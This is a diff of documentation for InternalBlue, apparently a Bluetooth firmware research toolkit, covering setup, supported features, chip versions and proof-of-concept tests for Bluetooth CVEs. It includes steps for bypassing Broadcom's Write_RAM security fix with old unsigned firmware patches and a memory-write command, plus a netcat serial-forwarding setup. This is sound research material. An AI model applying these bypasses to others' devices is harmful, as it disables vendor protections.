* [General setup and usage](doc/setup.md)
* Operating system specific setup
* [Android](doc/android.md) *6—11 (rooted)*
* [iOS](doc/ios.md) *12—14 (jailbroken)*
* [macOS](doc/macos.md) *High Sierra—Big Sur*
* [Linux](doc/linux_bluez.md) with *BlueZ* (default) but __not__ WSL
* [Firmware overview](doc/firmware.md)
* [SEEMOO talks and publications](doc/publications.md)
* [Examples](doc/examples.md)
Usage
-----
The CLI (Command Line Interface) of InternalBlue can be started by running:
python2 -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the $PATH
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local Linux
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e. establishing connections).
Use the *help* command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
@@ -225,7 +83,7 @@ can replace them with anything you want.
License
-------
Copyright 2018-2020 The InternalBlue Team
Copyright 2018-2021 The InternalBlue Team
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
Binary file not shown.
@@ -26,7 +26,7 @@ were removed from the source code. Reintroducing these features would be ABI-bre
We introduced an experimental serial forwarding. If the connection to a
patched Bluetooth stack fails on Android, *InternalBlue* tries to setup sockets
with shell scripting. The only requirement is a rooted smartphone. This hack
even works on a recent __Samsung Galaxy S10e__ with __Android Pie (9)__ (Patchlevel June 2019).
even works on a recent __Samsung Galaxy S10e/S20__ with __Android Pie (10)__ (Patchlevel March 2020).
In `adbcore.py`, we have a fallback that executes `_setupSerialSu`. This starts the
following processes:
@@ -35,29 +35,67 @@ following processes:
nc -l -p 8873 >/sdcard/internalblue_input.bin
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
To run netcat, you need to install the `busybox` app. Depending on your Android version,
To run `netcat`, you need to install the `busybox` app. Depending on your Android version,
the paths for `*btsnoop_hci.log` and `/dev/tty*` might differ. Execute `lsof | grep bluetooth`
to get hints on the serial device used for Bluetooth.
Note that this solution is much slower than patching *bluetooth.default.so*.
The delay per command is quite long, but overall throughput is okay, i.e., stackdumps can
be received.
be received. However, it runs out of the box, also if your *Android 6/7* setup does not
work.
Bypass: Broadcom Read_RAM Fix
-----------------------------
On the *Samsung Galaxy S10/S20*, the newest `.hcd` patches remove the commands
that allow reading, writing, and launching RAM after applying these patches.
However, this can easily be fixed by applying an older patch state.
Since the Bluetooth firmware is in ROM, the patches are only temporary breakpoints
(up to 256 on the S10e) that are applied via the `/vendor/firmware/*.hcd` files.
These files are not signed. So, to get *InternalBlue* working again, simply use some older `.hcd` files.
One set of files that still works is available in [`samsung_s10e_2019-06-04_vendor_firmware.zip`](../android/samsung_s10e_2019-06-04_vendor_firmware.zip).
You need to remount the according partition to replace the files with `mount -o remount,rw /vendor`.
As the Samsung Galaxy S10e, S10+, S10, Note 10, and S20 all have the same firmware, this should
work on all of them.
We also extracted the file `/vendor/firmware/bcm4361B0_semco.hcd` from a *Samsung Galaxy S8*, which
should be compatible with the *S8+* and *Note 8* as well. The Samsung patch level is June 2020
and includes the RNG patch for CVE-2020-6616. We customized it to no longer block the HCI commands
read RAM and write RAM to be able to debug the RNG during runtime again. This `.hcd` file
is available in [`samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip`](../android/samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip).
New dirty hack that should work for the *Samsung Galaxy Note 20 5G* from which this file was extracted
but also on the *S10/10e/10+/20/* and *Note 20*: Use the file [`samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd`](../android/samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd).
Your new `Write_RAM` handler must be set in `hci.py`:
```
VSC_Write_RAM = 0xC6F
```
Then, re-enalbe all blocked commands by executing:
```
> writeasm 0x17A210 b.w 0x5E980
```
Just accept this magic, writeup will follow :)
Prebuilt Library Status
-----------------------
Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes
------ | --- | -------------- | ----------------------- | -----
none | Android 8+9 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
android8_1_0 | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
lineageos14_1_hammerhead | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
lineageos14_1_zerofltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
lineageos14_1_zeroltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
\- | Android 8+9+10 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
[android5_1_1](../android/android5_1_1) | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
[android6_0_1](../android/6_0_1) | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
[android7_1_2](../android/android/7_1_2) | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
[android8_1_0](../android/android8_1_0) | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
[lineageos14_1_hammerhead](../android/lineageos14_1_hammerhead) | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
[lineageos14_1_zerofltexx](../android/lineageos14_1_zerofltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
[lineageos14_1_zeroltexx](../android/lineageos14_1_zeroltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
If Broadcom H4 diagnostic support is included, the according diff is located
inside the folder. You can apply it inside the /bt folder with:
@@ -68,8 +106,8 @@ inside the folder. You can apply it inside the /bt folder with:
Installation
------------
After the build process is done, the *bluetooth.default.so* shared library can be
found in _/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so_
After the build process is done, the `bluetooth.default.so` shared library can be
found in `/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so`
and pushed onto the smartphone via ADB. To overwrite the existing library on
the Android system partition it must first be remounted in order to make it
writable. It is also important to verify that the new library is actually set
@@ -164,9 +202,9 @@ Flex error that can be solved as follows:
export LC_ALL=C
Due to various reasons it might happen that you successfully build a new _bluetooth.default.so_
Due to various reasons it might happen that you successfully build a new `bluetooth.default.so`
module which still does not contain Bluetooth network debugging features.
You can check if the Bluetooth network debugging features were acutally enabled as follows:
You can check if the Bluetooth network debugging features were actually enabled as follows:
grep bt_snoop_net bluetooth.default.so
grep hci_inject bluetooth.default.so
@@ -241,14 +279,3 @@ until the Start the build section. Then do:
Flex crashes on Ubuntu 18.04 - [workaround](https://stackoverflow.com/questions/49301627/android-7-1-2-armv7):
export LC_ALL=C
Empty Device List
-----------------
If `adb devices` returns something, but *InternalBlue* cannot find your device, you might try to comment out the following
lines in `pwnlib/adb/adb.py`:
#for field in fields[2:]:
# k,v = field.split(':', 1)
# kwargs[k] = v
+119
View File
@@ -0,0 +1,119 @@
InternalBlue PoCs and Examples
==============================
MagicPairing PoCs
-----------------
The [magicpairing](../examples/magicpairing/README.md) folder contains the proof-of-concepts belonging
to our WiSec paper
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
For more information on the individual bugs, please refer to our paper.
This is what the PoC looks like:
```
=> 1) [MP1]: iOS RatchetAESSIV Crash (0xa8)
2) [MP2]: iOS Hint Crash (0x1)
3) [MP3]: macOS RatchetAESSIV Crash (0x0)
4) [MP4]: macOS Hint Crash (0x0)
5) [MP5]: iOS RatchetAESSIV Crash (0x10d)
6) [MP6]: iOS RatchetAESSIV Assertion Failure Crash
7) [MP7]: macOS Ratcheting Loop DoS
8) [MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE
9) [L2CAP1]: AirPods L2CAP Crash
10) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)
11) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)
```
HRNG and PRNG Measurements (CVE-2020-6616)
------------------------------------------
The *Dieharder* test suite requires at least 1GB of data to decide if a RNG returned random numbers.
We provide all scripts we used to evaluate the HRNG and PRNG on various *Broadcom* and *Cypress*
chips. These can be adapted for tests on further platforms if needed.
Extracting so much from a Bluetooth chip requires a number of optimizations, which are also
interesting for other scripts. All measurements scripts contain custom HCI event callbacks, and
five of them contain a `Launch_RAM` fix (*Nexus 6P*, *iPhone 7*, *CYW20719*, *CYW20735*, *CYW20819*).
Also, these scripts document where we found some free memory chunks, which might also be helpful for
other implementations.
For some devices, we only checked if the firmware is indeed accessing a HRNG, thus, we provide less
than 20 scripts in total.
* Nexus 5: [PRNG](../examples/nexus5/randp.py), [HRNG](../examples/nexus5/rand.py)
* Nexus 6P/Samsung Galaxy S6: [PRNG](../examples/nexus6p/randp.py), [HRNG](../examples/nexus6p/rand.py)
* CYW20719 evaluation board: [PRNG](../examples/eval_cyw20719/randp.py), [HRNG](../examples/eval_cyw20719/rand.py)
* CYW20735 evaluation board: [HRNG](../examples/eval_cyw20735/rand.py) (didn't measure PRNG as HRNG was used)
* CYW20819 evaluation board: [PRNG](../examples/eval_cyw20819/randp.py), [HRNG](../examples/eval_cyw20819/rand.py)
* Raspberry Pi 3/Zero W: [PRNG](../examples/rpi3/randp.py), [HRNG](../examples/rpi3/rand.py)
* Raspberry Pi 3+/4: [PRNG](../examples/rpi3p_rpi4/randp.py), [HRNG](../examples/rpi3p_rpi4/rand.py)
* iPhone 6: [PRNG](../examples/iphone6/randp.py), [HRNG](../examples/iphone6/rand.py)
* iPhone 7: [HRNG](../examples/iphone7/rand.py) (didn't measure PRNG as HRNG was used)
* Samsung Galaxy S8: [PRNG](../examples/s8/randp.py) __(no HRNG present)__
We also have a [full list of firmware and hardware analysis results](rng.md) of the HRNG and PRNG.
KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for:
* [Raspberry Pi 3](../examples/rpi3/KNOB_PoC.py)
* [Raspberry Pi 3+/4](../examples/rpi3p_rpi4/KNOB_PoC.py)
* [Nexus 5](../examples/nexus5/KNOB_PoC.py)
* [Nexus 6P](../examples/nexus6p/KNOB_PoC.py)
* [CYW20735 evaluation board](../examples/eval_cyw20735/KNOB_PoC.py)
* [Samsung Galaxy S8](../examples/s8/KNOB_PoC.py)
LMP to HCI Handler Escalation Attack Test (CVE-2018-19860)
----------------------------------------------------------
This is an easy-to-use PoC for CVE-2018-19860. It sends multiple LMP messages with opcode 0 (Broadcom vendor-specific).
If the following byte, the vendor-specific opcode, is out of range of BPCS (larger than 6), vulnerable devices
interpret the memory located after the LMP BPCS handler table as further handlers. On many devices, HCI handlers
are located here, which lets an attacker call HCI via LMP, thus, resulting in limited code execution capabilities.
Invalid "handler" addresses in that memory range or invalid parameters passed to HCI handlers will cause Bluetooth
on the device under attack to crash. This PoC installs an Assembly snippet that sends multiple invalid LMP BPCS packets
before establishing connections. If an attacker connects to the device under test using the normal Android/Linux user
interface and the connection succeeds, the device is likely not vulnerable (you need to adapt the BPCS range in
some cases). If Bluetooth crashes, it is vulnerable. Currently only available for:
* [Nexus 5](../examples/nexus5/CVE_2018_19860_Crash_on_Connect.py)
* [CYW20735 evaluation board](../examples/eval_cyw20735/CVE_2018_19860_Crash_on_Connect.py)
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
* [Nexus 5](../examples/nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
* [Nexus 5](../examples/nexus5/LMP_MAC_Address_Filter.py)
NiNo Attack Test
----------------
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
* [Nexus 5](../examples/nexus5/NiNo_PoC.py)
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](../examples/nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](../examples/s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](../examples/eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](../examples/rpi3/BLE_Reception_PoC.py)
and [3+/4](../examples/rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
+34
View File
@@ -0,0 +1,34 @@
Supported Features
------------------
This list is subject to change, but we give you a brief overview.
You probably have a platform with a *Broadcom* chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must be standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi Zero W/3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
* BLE reception statistics for active connections
* Enhanced BLE advertisement reports (channel, scan mode, antenna)
+23 -36
View File
@@ -1,22 +1,23 @@
Firmware Versions
=================
This package adds support for different Broadcom and Cypress firmware versions.
A list of known versions can be found below, however we only have firmware information on a subset of these.
Results are based on real world testing, this list is very incomplete. If you know more versions, input is appreciated.
A list of known firmware versions can be found below.
However, we only have firmware information on a subset of these.
Results are based on real-world testing, this list is very incomplete.
If you know more versions, input is appreciated :)
Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
-------| ------- | ---------- | ----------- | ------- | ----------
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4, Nexus One, iPod touch (A1367)
0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009
0x000f | 0x04 | 0x21d0 | BCM2046A2 | iMac 27" late 2009 | 2007
0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
0x000f | 0x05 | 0x610d | | iPad A1395
0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2 | ~Feb 2010
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
0x000f | 0x06 | 0x410d | | BlackBerry Q5
@@ -24,7 +25,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x06 | 0x6109 | | Samsung Galaxy Note 10.1 2014 WiFi (SM-P600)
0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ
0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 and Zero W | Jun 2 2014
0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
@@ -34,6 +35,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.15.4)
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
@@ -60,14 +62,15 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x0131 | 0x09 | 0x220c | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016
0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+, Samsung Galaxy S20 (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air but are BT 5* | Oct 25 2018
0x000f | 0x0b | 0x6308 | BCM4387C2 | iPhone 12 | Oct 29 2019
@@ -77,6 +80,15 @@ Matching of vendor and version number see list of [Bluetooth versions](https://w
There are more popular devices with Broadcom chips, i.e. many Lenovos, Acers, Sonys, Toshibas, HPs, Azurewares, ... see [this list](https://github.com/winterheart/broadcom-bt-firmware/blob/master/DEVICES.md), but we did not see these in the wild yet and do not know their LMP subversion.
Intentional Security Fix
------------------------
Broadcom started breaking *InternalBlue* support on purpose on recent chips to increase security.
On a Samsung Galaxy S10 with March 2020 patch level as well as on an iPhone 7 and 8 with iOS 13.4.1,
the `Write_RAM` HCI command is no longer available. It results in error code 12 if not used in
download minidriver mode during driver initialization by the operating system.
Known Issues
------------
@@ -84,12 +96,13 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
* BCM4335C0
* Diagnostic messages lack behind by one. If you send `diag c1` you will not get a response. Followed by `diag c2` you will get a response for `c1`, and so on. This issue is independent from the Android driver patch, i.e. a Nexus 6P works perfectly with the same LineageOS 14.1 patch that causes this issue on a Nexus 5.
* BCM4358A3
* BCM4358A3 (Nexus 6P + Samsung Galaxy S6), and iPhone 7 firmware:
* `Launch_RAM` crashes the firmware if it received another HCI command within the next ~6 seconds. When patching and launching scripts, close the Bluetooth overview from the operating system to prevent scanning and hope that nothing else interacts with this.
* CYW20735B1
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
* Same issue exists for CYW20719, CYW20819
Firmware Version and Build Date
-------------------------------
@@ -100,30 +113,4 @@ is internally called *BCM4335C0*. It is known to be a revision of the older *BCM
On newer chips, the build information is located in the beginning of the stack. To see it, simply enter
hd 0x200400
License
-------
Copyright 2019 Jiska Classen
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

+83
View File
@@ -0,0 +1,83 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
id="internalblue_Image"
data-name="internalblue Image"
viewBox="0 0 584.64 583.68"
version="1.1"
sodipodi:docname="internalblue.svg"
inkscape:version="0.92.4 (5da689c313, 2019-01-14)"
inkscape:export-filename="/tmp/internalblue.png"
inkscape:export-xdpi="82.339996"
inkscape:export-ydpi="82.339996">
<metadata
id="metadata983">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<sodipodi:namedview
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1"
objecttolerance="10"
gridtolerance="10"
guidetolerance="10"
inkscape:pageopacity="0"
inkscape:pageshadow="2"
inkscape:window-width="1276"
inkscape:window-height="1400"
id="namedview981"
showgrid="false"
inkscape:zoom="1.3307334"
inkscape:cx="292.32001"
inkscape:cy="291.84"
inkscape:window-x="1280"
inkscape:window-y="18"
inkscape:window-maximized="0"
inkscape:current-layer="internalblue_Image" />
<defs
id="defs962">
<style
id="style960">
.cls-1 {
fill: #fefeff;
}
.cls-2 {
fill: #0069b4;
}
</style>
</defs>
<title
id="title964">internalblue</title>
<g
id="g978">
<path
class="cls-2"
d="M507.93,583.69a.55.55,0,0,1-.25.33H77.6a.51.51,0,0,1-.26-.33c1-.05,2.07-.14,3.11-.14H504.82C505.85,583.55,506.89,583.64,507.93,583.69Z"
transform="translate(-0.32 -0.34)"
id="path968" />
<path
class="cls-2"
d="M507.93,583.69c-1-.05-2.08-.14-3.11-.14H80.45c-1,0-2.08.09-3.11.14a65.68,65.68,0,0,1-22.94-4.38c-28.4-10.84-45.73-31.23-52-60.95a67.65,67.65,0,0,1-1.25-14.07q0-211.91,0-423.82A79.85,79.85,0,0,1,66.66,2.18,83.26,83.26,0,0,1,81.44.83H503.82A80,80,0,0,1,582.4,64.07a77.7,77.7,0,0,1,1.7,16.67q0,130.08,0,260.15v98.64c0,.64-.05,1.28,0,1.92.1,1.09-.23,1.69-1.44,1.54a13.83,13.83,0,0,0-1.44,0H516.65c-3.3,0-2.86.43-2.86-3q0-165.24,0-330.47c0-9.89-2.77-18.77-9.52-26.16a35.76,35.76,0,0,0-26.05-12c-.64,0-1.28,0-1.92,0q-183.72,0-367.43,0a36.21,36.21,0,0,0-22,6.83,35.5,35.5,0,0,0-15.12,27.4c-.12,1.83-.15,3.67-.15,5.51q0,181.79,0,363.59c0,5.64.52,11.2,2.88,16.4,5.67,12.55,15.27,20,29,22a47.89,47.89,0,0,0,7.18.33H579.74c3.9,0,4,0,3.27,3.94q-7.75,40.61-44.83,58.93a75.67,75.67,0,0,1-29.55,7.48A4.22,4.22,0,0,1,507.93,583.69Z"
transform="translate(-0.32 -0.34)"
id="path970" />
<path
class="cls-2"
d="M414.84,293.5c2.7,2.41,5.21,4.62,7.53,7,12.55,13.11,20.33,28.64,22.76,46.61a84.15,84.15,0,0,1-63.95,93.9,85.13,85.13,0,0,1-19.47,2.27H143.09c-4.13,0-4.13,0-4.13-4.11q0-133.54-.07-267.1c0-15,12.65-28.38,28.39-28.36q97.42.13,194.86,0a84.26,84.26,0,0,1,54.34,148.3ZM282.08,261.67H345.4c1.28,0,2.56,0,3.83-.1,16.27-.89,28-17,23.79-32.81-3.19-12.06-13.63-20-26.38-20H215.2c-3,0-2.71-.29-2.71,2.69q0,23.63,0,47.25c0,3.24-.46,3,2.91,3Zm0,118h63.12a44.32,44.32,0,0,0,6-.22A26.41,26.41,0,0,0,361.62,331a28.65,28.65,0,0,0-16-4.22q-63.6.06-127.19,0c-1.36,0-2.72,0-4.08,0-1.85,0-1.85,0-1.89,1.83,0,.32,0,.64,0,1q0,23.64,0,47.28c0,3.07-.41,2.78,2.84,2.79Z"
transform="translate(-0.32 -0.34)"
id="path972" />
</g>
</svg>

After

Width:  |  Height:  |  Size: 3.7 KiB

+115
View File
@@ -0,0 +1,115 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="229.27933mm"
height="37.635212mm"
viewBox="0 0 229.27933 37.635212"
version="1.1"
id="svg8"
inkscape:version="0.92.4 (5da689c313, 2019-01-14)"
sodipodi:docname="internalblue_text.svg"
inkscape:export-filename="/tmp/internalblue_template.png"
inkscape:export-xdpi="96"
inkscape:export-ydpi="96">
<defs
id="defs2">
<style
id="style899">
.cls-1 {
fill: #fefeff;
}
.cls-2 {
fill: #0069b4;
}
</style>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="0.0"
inkscape:pageshadow="2"
inkscape:zoom="1.4"
inkscape:cx="231.45922"
inkscape:cy="96.512887"
inkscape:document-units="mm"
inkscape:current-layer="layer1"
showgrid="false"
inkscape:window-width="1276"
inkscape:window-height="1400"
